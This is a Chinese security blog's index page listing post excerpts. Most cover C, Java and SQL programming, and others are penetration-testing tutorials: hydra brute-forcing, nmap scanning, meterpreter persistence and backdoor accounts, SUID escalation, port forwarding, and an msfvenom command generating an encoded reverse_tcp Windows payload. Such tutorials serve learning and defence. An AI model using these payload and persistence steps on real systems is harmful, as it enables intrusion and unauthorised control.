自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

黑锤的博客

web安全技术

  • 博客(47)
  • 资源 (4)
  • 收藏
  • 关注

原创 单链表与双链表(C语言)

单链表的创建(头插法、尾插法),单链表的插入、删除等双链表的创建(头插法、尾插法),单链表的插入、删除等#include <stdio.h>#include <iostream>using namespace std;typedef int Elemtpye;typedef struct Lnode{ Elemtpye data;//结点的数据域 struct Lnode *next;//结点的指针域,指向的是下一结点的地址}Lnode,.

2020-10-06 20:56:34 524 2

原创 hydra(九头蛇爆破工具)

hydra用法:hydra<参数><ip地址><服务名>hydra支持的服务有:telnet ftp ssh mysql mssql vnc pcanywhere RDP(3389)等.hydra的一些参数:-R 继续从上一次的进度开始爆破-s <port> 指定端口-l <username> 指定登录的用户名-L <username-list> 指定用户名字典-p <password> 指定密码-t &l

2020-09-21 20:40:38 4163

原创 ubuntu 搭建web服务(mysql + php + apache)

之前想在阿里云的服务器上大家搭建一下的但是当时没啥时间就没整,现在就整一下ubuntu的吧;首先第一步就是你肯定需要一个ubuntu吧,然后开始安装mysql服务:只需要几条命令就可以了:apt-get install mysql-serverapt-get install mysql-clientapt-get install libmysqlclient-dev在安装的时候会遇到问题:无法获得锁 /var/lib/dpkg/lock-frontend - open (11: 资源暂时

2020-09-21 20:39:12 458

原创 获取meterpreter权限后如何留后门

我们知道当我们拿到主机meterpreter权限是可以留后门进行持久化攻击,常见的cmd命令创建文本,并向里出入内容,并打开:echo "hello I am hacker" >>1.txt之后再打开:notepad 1.txt即可拿永恒之蓝来说得到meterpreter后想要利用3389进行远程登录就得需要用户账号密码,一下有两种方法创建账号方法一:利用msf的post后渗透攻击模块直接在 直接在meterpreter下创建,这种创建的账号直接就是administrat

2020-09-21 20:38:08 2211

原创 信息收集中nmap的常用命令

第一步用nmap就是判断存活主机:nmap -sT 192.168.1.1/24为了省时间可以不以-sT来扫描直接这样:nmap 192.168.1.1/24猜测主机IP,猜到后就可以进行进一步的信息收集,开启的端口:nmap -A 192.168.1.144扫描指定端口这里以80端口来为例:nmap -sT -p 80 192.168.1.1/24只显示80端口开放的主机:nmap -sS -p 80 -oG - 192.168.1.14...

2020-09-21 20:34:14 548

原创 Java学生信息管理系统之简单的界面操作

本篇文章主要利用简单的awt、swing等组件进行布局管理,由于时间原因并未对其进行丰富的设计,但对于学习如何布局,如何用Java的组件进行界面化操作响应有一定的学习价值!存入效果图:输出效果图:删除:package Student.one;public class Stu { String name; String id; String gender; int score; int age; public Stu() { super(); }

2020-08-28 10:59:28 2121

原创 Java学生管理系统和C语言学生信息管理系统

本文章主要利用数组存储来实现对学生信息的增删改查以及成绩排序等,以下为简单的学生管理代码(无界面)package Student.one;public class Stu { String name; String id; String gender; int score; int age; public Stu() { super(); } public void setid(String id) { this.id = id; } public

2020-08-26 11:06:44 352

原创 Java中的图形界面布局练习

图形界面的介绍:图形用户界面(Graphics User Interface,GUI)是用户与程序交互的窗口,比命令行的界面更加直观并且更好操作。Swing:为解决 AWT 存在的问题而新开发的图形界面包。Swing是对AWT的改良和扩展。 不仅提供了AWT 的所有功能,还用纯粹的Java代码对AWT的功能进行了大幅度的扩充,与平台无关。swing 的组件层次关系以下为基础的图形界面练习(适合看完图形界面理论知识的练习)布局思想:整个大体系为Frame(或JFrame)向其中加入框架,框架(panel

2020-08-21 21:00:38 820

原创 Java中的集合与相关练习

集合的概述:集合是一系列对象的聚集。集合在程序设计中是一种重要的数据结构。在一定意义上,java中数组就是一种集合。集合实际上是用一个对象代表一组对象,在集合中的每个对象称为一个元素,集合中的元素一般都是相同的类型。Coleection API中的接口和类主要位于java…util包中,其中最基本的接口就是Colection和Map接口。Collection接口是元素的集合,Map接口是键-值对的集合。List , Set, Map都是接口,前两个继承至Collection接口,Map为独立接口S

2020-08-06 11:36:35 613

转载 如何理解Java中的引用?

关于值类型和引用类型的话题,C++、JAVA、python、go、C#等等高级语言都有相关的概念,只要理解了其底层工作原理,可以说即使是不同的语言,在面试学习工作实践中都可以信手拈来(不要太纠集语言),当然此处我选择了JAVA,虽然我是搞C++的,具体原因都懂就不废话了。一、值类型与引用类型  1、变量初始化 1 2 intnum=10; String str="hello"     2、变量赋值  从上图可以显而易见,num是i..

2020-07-29 10:47:06 818

原创 Java中的异常

在Java中定义了很多异常类,每个异常类都代表一种运行错误,类中包含了该运行错误的信息和处理错误的方法等内容。这些异常类的作用就是让程序更加健壮,利于后期对bug排查方便化。那么什么是异常呢?异常(Exception)又称为例外、差错、违例等,是特殊的运行错误对象,对应着Java语言特定的与运行错误处理机制。Java中的异常处理:在一些传统的语言中(如C语言),通过使用if语句来判断是否出现了例外。在Java中捕获异常最理想的时间是在编译期间,游戏问题就是在运行期间或之前进行解决,比如0

2020-07-28 21:58:36 787

原创 java中的接口理解

接口的概念:Java中的接口(interface)在语法上有些类似于类,它定义了若干个抽象方法和常量,这些常量对应某一组功能,表示事务某方面的特性。接口里面是不变的,是稳定的,可以说接口就是特殊的抽象类,比抽象类还抽象,定义是用的是interface,而且接口里面的方法都是抽象方法(默认是public abstract)可以以理解类的思想去理解接口但是又有所不同,接口可以实现多继承,但类不可以,也不要理解成接口可以继承类还有就是,接口一般定义好后,就不会再去变动,一般定义的实现类。在类的声明部分

2020-07-23 20:56:49 1100

原创 Eclipse安装教程

首先在官网进行下载:下载链接:http://www.eclipse.org/downloads/然后运行:得到如下:运行后有很多版本可供选择Eclipse IDE for Java Developers 是为java开发的Eclipse IDE for Java EE Developers 是为J2EE开发的Eclipse for RCP/Plug-in Developers 是为RCP和插件开发的Eclipse IDE for C/C++ Developers 是为C/C+.

2020-07-15 10:15:41 1331 1

原创 msf常用命令

msfvenom:生成payload工具常用参数:-l查看列表-p 指定payload-f指定输出格式-e指定一个编码方式-i 指定编码次数例如生成一个反向tcp的payload:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.130 LPORT=4444 -e x86/shikata_ga_nai -I 5 -f exe > 1.exe上面是生成Windows可执行文件,也可以生成Li...

2020-07-14 21:29:10 2027 1

原创 网络安全学习路线

作者:拼客学院陈鑫杰链接:https://www.zhihu.com/question/67598183/answer/1056878862来源:知乎著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。关于黑客或网络安全如何入门和学习路径,我在去年的问答和专栏中也陆陆续续解读过,近期知乎时间线上又多了很多高度类似的问题邀请,本次我再次做了一次系统化的梳理,希望能更好地帮到新人。(后续这个答案我会持续更新)在这里,我将这个整份答案分为 黑客(网络安全)入门必备、黑客(网络安全.

2020-06-05 19:25:23 21145 11

原创 如何系统学习web安全路线

网络安全的系统学习luxi路线如何正确使用 Tor -> 初步了解各类常规内网穿透手段 -> 深度理解端口转发的底层实现细节 -> 熟知要用到各类端口转发及隧道的典型渗透场景 -> 关于...

2020-06-03 18:17:29 676

原创 eclipse安装WindousBuilder为什么在项目里不显示

安装eclipse中的WindousBuilder插件有以下方法方法一下载相应的插件需要找到对应版本否则也有可能安完后不显示可以先查看自己的eclipse版本:在help里点击abouteclipseIDE即可:然后在官网查找对应版本:https://www.eclipse.org/windowbuilder/download.php右键link即可复制链接然后在eclipse操作:help–>install new software—>add复制刚刚的link即可按照步骤都勾选即可

2020-05-10 09:12:29 11096 24

转载 Java中equals和==的区别

在Java学习和面试中经常遇到这个问题,虽然想着简单,但还是决定记录下来,毕竟菜嘛......==:==是直接比较的两个对象的堆内存地址,如果相等,则说明这两个引用实际是指向同一个对象地址的。但是我们又常常碰到这样一个问题最终结果是true,true,那既然==是比较的地址,那么int数据的地址是怎样的呢,String又是怎样的呢?对于基本数据类型(byte,short,char...

2020-04-22 15:56:59 418

原创 1004 成绩排名(java代码)

题目:地址读入 n(>0)名学生的姓名、学号、成绩,分别输出成绩最高和成绩最低学生的姓名和学号。输入格式:每个测试输入包含 1 个测试用例,格式为第 1 行:正整数 n第 2 行:第 1 个学生的姓名 学号 成绩第 3 行:第 2 个学生的姓名 学号 成绩… … …第 n+1 行:第 n 个学生的姓名 学号 成绩其中姓名和学号均为不超过 10 个字符的字符串,成绩为 0 到...

2020-04-15 22:11:49 715

原创 java中整形与字符串之间的转换

java基础:不得不说java中有许多函数方法是非常方便的;import java.util.Scanner;public class practice{ public static void main(String []args) { Scanner in = new Scanner(System.in); System.out.println("请输入:"); //int ...

2020-04-15 16:09:28 2024

原创 1002 写出这个数(java代码)

题目:地址读入一个正整数 n,计算其各位数字之和,用汉语拼音写出和的每一位数字。输入格式:每个测试输入包含 1 个测试用例,即给出自然数 n 的值。这里保证 n 小于 10​100​​。输出格式:在一行内输出 n 的各位数字之和的每一位,拼音数字间有 1 空格,但一行中最后一个拼音数字后没有空格。输入样例:1234567890987654321123456789输出样例:yi s...

2020-04-14 16:40:47 432

原创 1001 害死人不偿命的(3n+1)猜想(java代码)

题目:地址卡拉兹(Callatz)猜想:对任何一个正整数 n,如果它是偶数,那么把它砍掉一半;如果它是奇数,那么把 (3n+1) 砍掉一半。这样一直反复砍下去,最后一定在某一步得到 n=1。卡拉兹在 1950 年的世界数学家大会上公布了这个猜想,传说当时耶鲁大学师生齐动员,拼命想证明这个貌似很傻很天真的命题,结果闹得学生们无心学业,一心只证 (3n+1),以至于有人说这是一个阴谋,卡拉兹是在蓄...

2020-04-14 16:29:55 425

原创 SQL数据查询语句(二)

继上次的浅析SQL语句基本操作,本次重点介绍SQL语句的单表查询、连接查询先简单介绍几个简单的查询子句:select 子句:指定要显示的属性列form子句:指定查询对象(基本表或视图)where子句:指定查询条件group by 子句:对查询结果按指定列的值分组,该属性列值相等的元组为一个组。通常会在每组中作用聚集函数。having短语:只有满足指定条件的组才予以输出order ...

2020-03-23 22:56:07 787

原创 高效的使用搜索引擎

我们在遇到问题时总是会第一时间想到的就是上网搜索,但是往往有搜不到自己想要的文章,往往我们使用的百度搜索偏多,在各种搜索引擎中,往往会把访问最多的文章放到最前面,这就是问题所在了,往往访问量最多的是比较‘古老的’文章,而这些文章已经过时不能解决当下的问题,这时我们就应该使用百度的搜索技巧:我今天才发现百度搜索引擎居然还有高级搜索设置以前竟然没太注意,进入高级搜索可以设置文章发布的时间限制,这就比...

2020-03-21 11:38:15 3726 2

原创 进程和线程

首先俩讲一下进程的的概念进程的定义进程是一个正在执行中的程序或者可以描述为可并发执行的程序在一个数据集合上的运行过程。进程除了代码以外,还包括分配资源及其他内容,如图:进程内存中的映像:进程的本质理解:1.这个进程在执行什么程序;2.程序在处理什么数据;3.以及程序的状态变化;进程的特征动态性:进程的实质是程序的依次执行过程,并发性/异步:任何进程都可以同其他进程一起向前推进...

2020-03-20 18:46:25 398

原创 MySQL命令行不能显示中文的解决

问题描述:SQL命令行界面插入数据中的中文,显示空白。解决过后的显示。这个问题是由于SQL命令行编码问题,配置文件中的默认编码是utf8,而我们要将这个修改为gbk。我这里是phpstudy的运行环境,先找到配置文件:打开修改为如下配置:这两个地方都改为gbk即可...

2020-03-17 19:50:57 2138 1

原创 浅析sql语句的基本操作

简介sql是操作数据库的一种语言(对大小写不敏感),是当今最流行,用的最普遍的操作语言,相比较其他编程语言来说是相对简单的,本篇博文主要讲解基本的操作(增、删、改、查)我初次接触SQL语句是在学php时需要写一个简单的留言板,并且要与数据库相连接,那时什么也不懂,就是照着网上的敲而已,现在又来重新回顾下。本次我是在SQL命令行中进行demo。我本地下了个phpstudy,利于学习利用。数据...

2020-03-17 19:24:37 506

原创 操作系统中消费者与生产者的同步互斥问题

在操作系统中,我们有进程,进程会占用资源,有些资源是可以共享的,但有些资源是只允许一个占用,不能共享,只有当占用的线程用完释放后,下一个需要用的线程才可以申请使用,这样的资源便是临界资源。属于临界资源的硬件有,打印机,磁带机等;软件有消息队列,变量,数组,缓冲区等。诸进程间采取互斥方式,实现对这种资源的共享。消费者和生产者就金典的讲述了消费者与生产者共享“缓存区”的多线程同步问题。基本描述...

2020-03-12 22:09:16 6751 1

转载 全概率公式和贝叶斯公式

一、条件概率公式 举个例子,比如让你背对着一个人,让你猜猜背后这个人是女孩的概率是多少?直接猜测,肯定是只有50%的概率,假如现在告诉你背后这个人是个长头发,那么女的概率就变为90%。所以条件概率的意义就是,当给定条件发生变化后,会导致事件发生的可能性发生变化。 条件概率由文氏图出发,比较容易理解:表示B发生后A发生的概率,由上图可以看出B发生后,A再发生的概率...

2020-03-05 21:24:38 656

原创 cmd命令行运行java代码

首先你必须要有java环境,只需在cmd中输入java显示如下:说名配置过java环境(很奇怪,我昨天安装的64位的jdk并且配好了环境变量同样操作版本不是这个,这个显示的是32位的jdk),可能是环境变量没搞吧,还好eclipse能运行(吓死我了)。然后就是你要有java的代码文件例如我的:我放在了D盘,这个就是个简单java入门程序hello world(原谅我文件名的worl...

2020-03-03 11:40:51 2061 2

原创 C语言指针变量的理解

都说指针是C语言的灵魂,这只有正真理解掌握了C语言的大神才会有体悟吧,虽说我也学习过,但是感觉并没有学到它的灵魂之处,特别是指针这一方面,总是会出现当时理解了,但是过滤一段时间又会忘记,这次干脆写下来,方便以后忘记了有去查。C语言指针是什么?我们要知道计算机中的所有数据都必须放在内存中,不同类型的数据占用的字节数不一样;例如 int 占用 4 个字节,char 占用 1 个字节。为了正...

2020-02-10 22:29:37 1331 2

原创 递归算法以及Hanoi(汉诺)塔问题及其详细解释

递归在算法中是非常重要的,可以说几乎所有的循环算法都可以用递归来实现,这足以体现递归的重要性,利用递归的条件一般为一下: 定义是递归的 像有些数学函数就是递归定义的,例如大家熟悉的阶层函数; 2.利用“分治法”2.1 对于复杂问题,若能够分成几个相对简单却算法相同或类似的子问题来求解便可使用递归算法。 2.2 能将一个问题转变成一个新问题,而新闻体育原问题的解法相同或类同...

2020-02-06 17:53:12 24139 5

原创 数据结构中的栈的基本操作实现

本篇代码是基于数据结构中栈的基本操作以及实现来进行编写的,由于只是当做练习来加深理解,所以没有过多地考虑程序的健壮性。不仅有顺序栈还有链栈,以及栈在递归中的作用,像斐波那契以及hanoi塔问题的算法都用到了递归,有时间接下来的文章会介绍。栈与顺序表有些像,这里不对其进行详细介绍可以看书。#include <iostream>#include <stdio.h>...

2020-02-03 17:49:03 556 3

原创 C语言数据结构单链表基本操作

#include<iostream>#include<stdio.h>#include<string.h>#include<stdlib.h>typedef struct Lnode{ int data; struct Lnode *next;}Lnode,*Linklist;int InitList(Linklist...

2020-01-28 23:22:37 768

原创 数据结构中顺序表的基本操作实现C语言代码

#include <iostream>#include <stdio.h>#include <string.h>#include <stdlib.h>#define MAXSIZE 100typedef struct//创建结构体{ int *elem; int length;}Sqlist;int chushihu...

2020-01-08 21:47:10 5776 1

原创 如何删除不死马?

当自己的服务器被别人上传了不死马,如何应对呢?第一个方法就是,重启自己的服务,这样不死马就没有了,就不会再生成了,毕竟不死马是在内存当中的。第二种方法就是用命令将在内存中的进程删除;kill -9 -1这个命令可以杀掉当前用户下面的所有进程,当然就可以把不死马杀掉。可以使用 ps aux 命令 列出所有进程,找到要杀掉的进程运用命令:kill pid 就可以了可以使用...

2019-11-25 15:50:20 5221

原创 linux下SUID提权以及文件权限问题

要讲到suid提权的话,首先应该就要非常清楚地知道linux中文件权限的相关问题。在linux系统上有着非常严格的权限控制,如果想对某个文件执行某种操作的话,必须具有对应的权限方可执行成功。linux下的文件的权限类型一般包括读、写、执行。对应的字母为r、w、x。linux下权限有三种分组分别为拥有者、群组、其他组。每个文件都可以针对这三个组,设置不同的rwx(读写执行)权限。在Linux...

2019-11-25 15:47:48 1754

原创 DC:1靶机

这个靶机有五个flag,适合初学者,我没管那么多,反正直接拿到root权限就可以了。下载地址自己去Google吧。环境搭建好之后,第一步还是老样子,主机发现:netdiscover -r 192.168.233.0/24得到主机的ip为192.168.233.144进一步用nmap扫一遍,在扫的同时可以访问他的ip去看看。nmap -sS -A 192.168.233.0/24看到...

2019-11-25 15:46:17 421

原创 lcx内网穿神器linux下portmap的使用

本次笔记主要是讲解如何将一个处于内网主机的linux系统的22端口转发到公网的7777端口上,然后就可以利用ssh连接公网的7777端口来进行访问内网主机。本次环境1.一台linux系统的内网主机192.168.233.140(这里我用的是kali)2.公网ip(这里是我在阿里云买的服务器:47.93.xxx.xxx)3.随意一台linux系统的内网主机(这里我用的是ubuntu):就是用...

2019-11-04 20:00:08 8912

原创 nmap渗透之信息收集基本命令

第一步用nmap就是判断存活主机:nmap -sT 192.168.1.1/24为了省时间可以不以-sT来扫描直接这样:nmap 192.168.1.1/24猜测主机IP,猜到后就可以进行进一步的信息收集,开启的端口:nmap -A 192.168.1.144扫描指定端口这里以80端口来为例:nmap -sT -p 80 192.168.1.1...

2019-09-12 20:17:18 486

snort-2.9.17.1.tar.gz

snort的安装

2021-06-15

barnyard2-master.zip

用于结合snort使用,snort+barnyard2+base的入侵检测系统的搭建

2021-06-15

数据库课程设计(基于高校图书管理系统)

本次资源为南阳理工学院大二下学期完成的数据库课程设计,主要是基于高校图书管理系统。具体内容有系统需求分析(引言、系统最终用户介绍、安全性和完整性要求、数据字典、数据流图分析、分析总结)和概念设计(概念设计模型)和逻辑设计、物理设计以及数据库实施(创建数据库、数据表、视图、索引、数据入库)其中代码都有,环境为MySQL,文档共26页。其中有book.sql文件可以将数据直接导入MySQL中直接用。

2021-01-19

web期末课设.zip

本次资源为大二web前端期末结课的课程设计,包含多个页面跳转,简单的一些设计。 其中包含首页、相册、文学、留言、登录、注册这六个页面(并没有连接数据库),上传的资源中可以直接在DW中预览,资源中包含六个页面的css以及HTML代码,可以直接运行实现!

2020-03-24

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除